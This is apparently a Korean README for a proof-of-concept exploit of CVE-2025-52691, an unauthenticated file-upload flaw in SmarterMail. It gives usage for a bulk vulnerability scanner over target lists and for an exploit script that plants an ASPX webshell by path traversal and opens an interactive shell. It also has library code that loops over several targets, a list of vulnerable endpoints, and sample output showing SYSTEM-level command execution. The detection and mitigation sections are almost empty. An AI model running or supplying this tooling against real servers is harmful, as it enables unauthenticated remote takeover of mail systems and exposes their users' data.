CVE-2025-52691에 대한 개념 증명 익스플로잇: SmarterMail에서 인증 없이 임의 파일 업로드로 이어져 RCE(원격 코드 실행)를 유발합니다. 취약점 스캐너, ASPX 웹셸 업로더, 그리고 승인된 보안 테스트를 위한 대화형 셸을 포함합니다.
CVE-2025-52691에 대한 개념 증명(PoC) - SmarterMail 인증 없는 임의 파일 업로드 RCE
승인된 보안 테스트 및 교육 목적으로만 사용하십시오. 허가되지 않은 접근은 불법입니다.
경로 탐색(path traversal)을 통해 인증 없이 임의 파일을 업로드할 수 있어 원격 코드 실행(RCE)로 이어지는 SmarterMail의 치명적인 취약점입니다.
취약점: 업로드 엔드포인트의 경로 탐색으로 웹 루트에 ASPX 웹셸 업로드 가능
영향: 인증 없는 원격 코드 실행
벡터: 네트워크 / 인증 없음
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3
CVE-2025-52691 취약점이 있는 대상(target)을 스캔합니다. 취약한 URL만 출력 파일에 저장합니다.
# Single target
python check.py https://mail.example.com
# Multiple targets
python check.py -f targets.txt -o results.txt
# Custom timeout
python check.py https://mail.example.com -t 30
출력: results.txt에 줄마다 취약한 URL 하나씩 저장
ASPX 웹셸을 업로드하고 명령 실행을 제공합니다.
# Basic exploit
python pwn.py https://mail.example.com
# Execute command
python pwn.py https://mail.example.com -c "whoami"
# Interactive shell
python pwn.py https://mail.example.com -i
사용자 정의 스크립트에 통합할 수 있는 재사용 가능한 익스플로잇 모듈입니다.
라이브러리로 사용:
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
# Basic usage
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
# With custom timeout
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()
# Execute multiple commands
if result == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
print(exploit.execute_command("hostname"))
print(exploit.execute_command("ipconfig"))
독립 스크립트로 사용:
# Import and run in Python
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"
# Create custom script
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
config = TargetConfig(base_url=target)
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(f"[+] Exploited: {target}")
print(exploit.execute_command("whoami"))
EOF
python my_exploit.py
취약한 엔드포인트:
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx
악용 방법:
../wwwroot/)을 이용한 Multipart 폼 업로드웹셸: ?cmd= 매개변수를 통해 명령을 받는 최소 ASPX 셸
python check.py <target>python pwn.py <target> -i탐지:
../) 확인/api/upload 요청에 대한 알림완화:
$ python pwn.py https://mail.example.com -c "whoami"
[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx
[*] Executing: whoami
[+] Output:
nt authority\system
테스트 전에 반드시 적절한 승인을 받으십시오.